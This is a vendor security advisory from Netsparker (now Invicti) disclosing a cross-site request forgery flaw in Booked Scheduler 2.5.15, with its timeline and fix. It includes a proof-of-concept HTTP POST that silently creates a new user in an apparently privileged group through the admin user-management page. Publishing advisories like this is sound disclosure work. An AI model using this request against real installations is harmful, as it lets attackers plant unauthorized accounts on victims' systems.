Information
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Advisory by Netsparker (now Invicti)
Name: CSRF Vulnerability in Booked Scheduler 2.5.15
Affected Software: Booked Scheduler
Affected Versions: 2.5.15 and possibly below
Vendor Homepage: https://www.bookedscheduler.com 
Vulnerability Type: Cross-site Request Forgery
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-15-018

Description
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By exploiting a Cross-site Request Forgery (CSRF) vulnerability the attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that's available to the victim can be used by the attacker. The only exception to this rule is a page that requires extra information that only the legitimate user can know (such as the user's password).

Technical Details
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Proof of Concept for CSRF in Booked Scheduler 2.5.15:

Url /phpsch/Web/admin/manage_users.php

POST /phpsch/Web/admin/manage_users.php?action=addUser&uid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://188.166.82.233/phpsch/Web/admin/manage_users.php
Content-Length: 109
Cookie: PHPSESSID=fbd9f00159dfbd7769155930058ba023
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

username=USERNAME&email=EMAIL&fname=NAME&lname=LASTNAME&password=PASSWORD&group_id=1

For more information on cross-site scripting vulnerabilities read the article Cross-site Request Forgery (CSRF).

Advisory Timeline
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15/09/2015 - First Contact
24/09/2015 - Vendor Fixed
09/11/2015 - Advisory Released

Solution
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https://sourceforge.net/projects/phpscheduleit/files/latest/download 

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.